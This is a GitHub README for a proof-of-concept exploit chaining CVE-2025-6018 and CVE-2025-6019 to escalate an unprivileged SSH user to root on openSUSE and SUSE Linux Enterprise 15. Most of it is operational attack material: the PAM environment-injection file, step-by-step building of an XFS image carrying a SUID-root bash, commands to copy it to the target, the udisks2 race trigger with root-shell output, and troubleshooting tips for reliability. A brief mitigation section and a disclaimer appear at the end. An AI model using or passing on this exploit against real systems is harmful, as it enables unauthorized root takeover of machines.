desertdemons/cve-2025-6018-6019CVE-2025-6018 CVE-2025-6019 PoC Exploit - Local Privilege Escalation in openSUSE/SUSE Linux Enterprise 15 - PAM bypass + udisks2 XFS race condition LPE to root
Working PoC/Exploit for CVE-2025-6018 and CVE-2025-6019 - Privilege escalation from unprivileged user to root on openSUSE Leap 15.x and SUSE Linux Enterprise 15.x
| CVE ID | Vulnerability | Impact |
|---|---|---|
| CVE-2025-6018 | PAM Environment Variable Injection | Bypass to allow_active polkit status |
| CVE-2025-6019 | udisks2/libblockdev XFS Resize Race Condition | Root shell |
Unprivileged SSH User → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT
# Check vulnerability
./exploit.sh --check
# Setup PAM bypass (CVE-2025-6018)
./exploit.sh --setup
# Reconnect SSH, then: su - $USER
# Exploit (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img
# Result: ROOT SHELL
uid=1000(user) gid=1000(user) euid=0(root)
git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh
⚠️ Note: openSUSE Leap 15.6 reaches End of Life on April 30, 2026. After this date, no security patches will be released. Users should migrate to Leap 16.0 or SLES with extended support.
user_readenv=1allow_active: yes for udisks2 actions./exploit.sh --check
./exploit.sh --setup
# Then: exit SSH, reconnect, run: su - $USER
./exploit.sh --exploit /tmp/xfs.img
./exploit.sh --auto /tmp/xfs.img
./exploit.sh --create-image
Run on ATTACKER machine as root:
⚠️ You MUST use the victim's
/usr/bin/bashbinary, not your local one. A bash binary from a different distro (Kali, Arch, Ubuntu, etc.) will fail on the target due to glibc/shared library ABI mismatch — even on the same x86_64 architecture.
The script auto-detects your xfsprogs version and applies the correct flags:
# Get victim's bash first
scp user@target:/usr/bin/bash /tmp/victim_bash
# Create image (auto-detects safe mkfs flags)
sudo ./create_image.sh /tmp/victim_bash xfs.img
# For SUSE 15 SP1-SP4 targets (kernel < 5.14), use compatibility mode:
sudo ./create_image.sh --compat /tmp/victim_bash xfs.img
sudo su -
# 1. Get victim's bash binary
scp user@target:/usr/bin/bash /tmp/bash
# 2. Create 300MB XFS image with safe flags
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
# 3. Mount with SUID support
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt
# 4. Copy victim's bash and set SUID bit
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl # MUST show: -rwsr-xr-x
# 5. Unmount and transfer
umount /tmp/mnt
scp xfs.img user@target:/tmp/
The XFS image must be formatted with flags compatible with the target's kernel. Newer versions of xfsprogs enable on-disk features by default that older SUSE kernels cannot read, causing wrong fs type, bad superblock errors during the udisks2 resize mount.
| Target | Kernel | mkfs.xfs command |
|---|---|---|
| SUSE 15 SP5-SP6 | 5.14 / 6.4 | mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img |
| SUSE 15 SP1-SP4 | 4.12 - 5.3 | mkfs.xfs -f -m crc=0,reflink=0 xfs.img |
Why? exchange and parent are kernel 6.10+ features (default-on in xfsprogs 6.x). bigtime, inobtcount, and nrext64 are kernel 5.10+ features. The SP1-SP4 "compat" command (-m crc=0,reflink=0) creates a V4 XFS format with all modern features disabled, which works on every SUSE 15 SP.
Vulnerability: PAM's pam_env module reads ~/.pam_environment with user_readenv=1 (default on SUSE), allowing environment variable injection.
Exploit: Set XDG_SEAT=seat0 and XDG_VTNR=1 to trick systemd-logind into granting allow_active polkit privileges.
# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1
Vulnerability: When resizing XFS filesystem via udisks2, libblockdev temporarily mounts the filesystem without nosuid flag.
Exploit:
./exploit.sh --check
Output:
[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO
./exploit.sh --setup
exit
ssh user@target
su - $USER
./exploit.sh --check
Output:
[+] allow_active status: YES
You have allow_active privileges!
# On attacker:
scp xfs.img user@target:/tmp/
./exploit.sh --exploit /tmp/xfs.img
Output:
[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...
=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
root@target#
# Disable user_readenv in PAM
sed -i 's/user_readenv=1/user_readenv=0/g' /etc/pam.d/common-auth
# Or restrict udisks2 polkit policy
# Change allow_active from "yes" to "auth_admin"
This tool is for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. The authors are not responsible for any misuse.
CVE-2025-6018 CVE-2025-6019 PoC Proof of Concept Exploit Privilege Escalation LPE Local Privilege Escalation Root openSUSE SUSE SLES PAM pam_env udisks2 libblockdev
⭐ Star this repo if it helped you! ⭐
| Issue | Cause | Solution |
|---|
allow_active: NO | PAM bypass not active | Run --setup, exit SSH, reconnect, run su - $USER |
Image is not XFS | Wrong filesystem format | Use mkfs.xfs, not mkfs.ext4 |
SUID not working | Permissions not set | Verify -rwsr-xr-x permissions on attacker machine |
Race condition missed | Timing issue | Run exploit again (usually works in 1-3 attempts) |
SUID binary segfaults or GLIBC_x.xx not found | Bash binary from wrong distro (glibc/ABI mismatch) | Use victim's /usr/bin/bash binary via scp, not your local bash |
Resize output: Error resizing filesystem on /dev/loopN: Failed to mount '/dev/loopN' before resizing it: wrong fs type, bad option, bad superblock on /dev/loopN, missing codepage or helper program, or other error | XFS image formatted with features the target kernel can't read (xfsprogs version mismatch) | Create image with mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img for SP5/SP6, or mkfs.xfs -f -m crc=0,reflink=0 xfs.img for SP1-SP4 |
XFSRace ConditionSecurityVulnerabilityPentest